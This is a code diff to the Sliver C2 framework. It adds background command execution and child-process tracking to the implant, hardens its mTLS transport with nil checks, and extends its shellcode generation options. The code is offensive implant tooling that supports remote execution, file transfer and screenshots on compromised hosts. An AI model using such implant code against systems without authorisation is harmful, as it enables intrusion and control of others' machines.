sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
|
||||
@@ -45,24 +45,25 @@ import (
|
||||
|
||||
var (
|
||||
linuxHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
|
||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||
|
||||
|
||||
@@ -96,21 +96,22 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.Bytes()
|
||||
execResp.Stdout = stdOutBuff.Bytes()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -37,6 +37,8 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
|
||||
// {{end}}
|
||||
@@ -46,7 +48,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
return errors.New("[mtls] connect returned nil conn")
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
_ = conn.Close()
|
||||
return errors.New("[mtls] failed to create yamux session (nil)")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Recv: func() (*pb.Envelope, error) {
|
||||
if muxSession == nil {
|
||||
return nil, errors.New("[mtls] recv called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return nil, errors.New("[mtls] accept returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if muxSession == nil {
|
||||
return errors.New("[mtls] send called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[mtls] open returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.WriteEnvelope(stream, envelope)
|
||||
},
|
||||
|
||||
@@ -21,7 +21,6 @@ package mtls
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
@@ -30,6 +29,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"reflect"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||
}
|
||||
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func writeAll(w io.Writer, p []byte) error {
|
||||
for len(p) > 0 {
|
||||
n, err := w.Write(p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return io.ErrShortWrite
|
||||
}
|
||||
p = p[n:]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
// which is a fancy way of saying we write the length of the message then the message
|
||||
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
||||
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if isNilInterface(w) {
|
||||
return errors.New("[mtls] nil writer")
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Envelope marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
return fmt.Errorf("[mtls] marshal envelope: %w", err)
|
||||
}
|
||||
|
||||
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("[mtls] envelope signing key: %w", err)
|
||||
}
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||
if _, werr := w.Write(rawSigBuf); werr != nil {
|
||||
return werr
|
||||
if werr := writeAll(w, rawSigBuf); werr != nil {
|
||||
return fmt.Errorf("[mtls] write raw signature: %w", werr)
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
var dataLengthBuf [4]byte
|
||||
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
|
||||
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data length: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data length: %w", werr)
|
||||
}
|
||||
if _, werr := w.Write(data); werr != nil {
|
||||
if werr := writeAll(w, data); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data: %w", werr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package mtls
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"testing"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err := WriteEnvelope(&buf, nil); err == nil {
|
||||
t.Fatalf("expected error for nil envelope")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil writer")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
var conn *tls.Conn
|
||||
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil *tls.Conn writer")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package transports
|
||||
|
||||
import "reflect"
|
||||
|
||||
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -25,7 +25,9 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
"strconv"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -45,8 +47,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
|
||||
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "mtls connection returned nil conn"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
conn.Close()
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "[mtls] failed to create yamux session (nil)"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
go func() {
|
||||
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WritePing(stream); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
|
||||
+1843
-1824
File diff suppressed because it is too large.
Load diff
@@ -132,22 +132,26 @@ enum OutputFormat {
|
||||
THIRD_PARTY = 4;
|
||||
}
|
||||
|
||||
message DonutConfig {
|
||||
// 1=none, 2=random names, 3=random names + symmetric encryption
|
||||
// ShellcodeConfig - options used when generating shellcode output.
|
||||
//
|
||||
// Note: Most fields map to Donut options for Windows shellcode generation.
|
||||
// On macOS (darwin/arm64), only `Compress` is currently used (beignet aPLib).
|
||||
message ShellcodeConfig {
|
||||
// 1=none, 2=random names, 3=random names + symmetric encryption (Windows/Donut only)
|
||||
uint32 Entropy = 2;
|
||||
// 1=none, 2=aplib
|
||||
// 1=none, 2=aplib (Windows/Donut + macOS/beignet)
|
||||
uint32 Compress = 3;
|
||||
// 1=exit thread, 2=exit process, 3=block
|
||||
// 1=exit thread, 2=exit process, 3=block (Windows/Donut only)
|
||||
uint32 ExitOpt = 4;
|
||||
// 1=none, 2=abort on failure, 3=continue on failure
|
||||
// 1=none, 2=abort on failure, 3=continue on failure (Windows/Donut only)
|
||||
uint32 Bypass = 5;
|
||||
// 1=overwrite headers, 2=keep headers
|
||||
// 1=overwrite headers, 2=keep headers (Windows/Donut only)
|
||||
uint32 Headers = 6;
|
||||
// Run unmanaged EXE entrypoint as a new thread
|
||||
// Run unmanaged EXE entrypoint as a new thread (Windows/Donut only)
|
||||
bool Thread = 7;
|
||||
// Convert command line to Unicode for unmanaged DLL entrypoints
|
||||
// Convert command line to Unicode for unmanaged DLL entrypoints (Windows/Donut only)
|
||||
bool Unicode = 8;
|
||||
// Override original entry point (0 = default)
|
||||
// Override original entry point (0 = default) (Windows/Donut only)
|
||||
uint32 OEP = 9;
|
||||
}
|
||||
|
||||
@@ -203,7 +207,8 @@ message ImplantConfig {
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
repeated string exports = 107;
|
||||
DonutConfig DonutConfig = 108;
|
||||
ShellcodeConfig ShellcodeConfig = 108;
|
||||
ShellcodeEncoder ShellcodeEncoder = 109;
|
||||
|
||||
string HTTPC2ConfigName = 150;
|
||||
bool NetGoEnabled = 151;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v6.33.4
|
||||
// protoc v3.15.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v6.33.4
|
||||
// protoc v3.15.8
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+639
-630
File diff suppressed because it is too large.
Load diff
@@ -195,6 +195,7 @@ service SliverRPC {
|
||||
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
|
||||
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
|
||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
|
||||
@@ -169,6 +169,7 @@ type SliverRPCClient interface {
|
||||
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
|
||||
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
@@ -1458,6 +1459,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
|
||||
out := new(sliverpb.ExecuteChildren)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
|
||||
out := new(sliverpb.Sideload)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
|
||||
@@ -2181,6 +2191,7 @@ type SliverRPCServer interface {
|
||||
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
|
||||
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
@@ -2634,6 +2645,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
|
||||
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
|
||||
}
|
||||
@@ -5115,6 +5129,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ExecuteChildrenReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.SideloadReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -6645,6 +6677,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "ExecuteWindows",
|
||||
Handler: _SliverRPC_ExecuteWindows_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ExecuteChildren",
|
||||
Handler: _SliverRPC_ExecuteChildren_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Sideload",
|
||||
Handler: _SliverRPC_Sideload_Handler,
|
||||
|
||||
@@ -355,6 +355,9 @@ const (
|
||||
|
||||
// MsgShellResizeReq - Resize a shell PTY
|
||||
MsgShellResizeReq
|
||||
|
||||
// MsgExecuteChildrenReq - List tracked background execute child processes
|
||||
MsgExecuteChildrenReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgIfconfig
|
||||
case *ExecuteReq:
|
||||
return MsgExecuteReq
|
||||
case *ExecuteChildrenReq:
|
||||
return MsgExecuteChildrenReq
|
||||
case *TerminateReq:
|
||||
return MsgTerminateReq
|
||||
case *Terminate:
|
||||
|
||||
+1956
-1646
File diff suppressed because it is too large.
Load diff
@@ -517,6 +517,7 @@ message ExecuteReq {
|
||||
string Stderr = 5;
|
||||
bool EnvInheritance = 6;
|
||||
map<string, string> Env = 7;
|
||||
bool Background = 8;
|
||||
|
||||
uint32 PPid = 10;
|
||||
|
||||
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
|
||||
string Stderr = 5;
|
||||
bool UseToken = 6;
|
||||
bool HideWindow = 7;
|
||||
bool Background = 8;
|
||||
uint32 PPid = 10;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
@@ -545,6 +547,31 @@ message Execute {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ExecuteChildrenReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ExecuteChild {
|
||||
int32 Pid = 1;
|
||||
string Path = 2;
|
||||
repeated string Args = 3;
|
||||
|
||||
int64 StartTime = 4;
|
||||
bool Exited = 5;
|
||||
int32 ExitCode = 6;
|
||||
int64 ExitTime = 7;
|
||||
|
||||
string Stdout = 8;
|
||||
string Stderr = 11;
|
||||
string Error = 12;
|
||||
}
|
||||
|
||||
message ExecuteChildren {
|
||||
repeated ExecuteChild Children = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
|
||||
+16
-12
@@ -168,7 +168,9 @@ type ImplantConfig struct {
|
||||
MaxConnectionErrors uint32
|
||||
ConnectionStrategy string
|
||||
SGNEnabled bool
|
||||
Exports string
|
||||
// ShellcodeEncoder - client-side post-processing applied to shellcode output
|
||||
ShellcodeEncoder int32
|
||||
Exports string
|
||||
|
||||
// WireGuard
|
||||
WGPeerTunIP string
|
||||
@@ -203,7 +205,7 @@ type ImplantConfig struct {
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
// Donut options (Windows shellcode only)
|
||||
// Shellcode options (Windows: Donut; macOS: beignet uses Compress only)
|
||||
DonutEntropy uint32
|
||||
DonutCompress uint32
|
||||
DonutExitOpt uint32
|
||||
@@ -264,6 +266,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
ObfuscateSymbols: ic.ObfuscateSymbols,
|
||||
TemplateName: ic.TemplateName,
|
||||
SGNEnabled: ic.SGNEnabled,
|
||||
ShellcodeEncoder: clientpb.ShellcodeEncoder(ic.ShellcodeEncoder),
|
||||
|
||||
ReconnectInterval: ic.ReconnectInterval,
|
||||
MaxConnectionErrors: ic.MaxConnectionErrors,
|
||||
@@ -297,7 +300,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
IncludeTCP: ic.IncludeTCP,
|
||||
Extension: ic.Extension,
|
||||
Exports: strings.Split(ic.Exports, ","),
|
||||
DonutConfig: &clientpb.DonutConfig{
|
||||
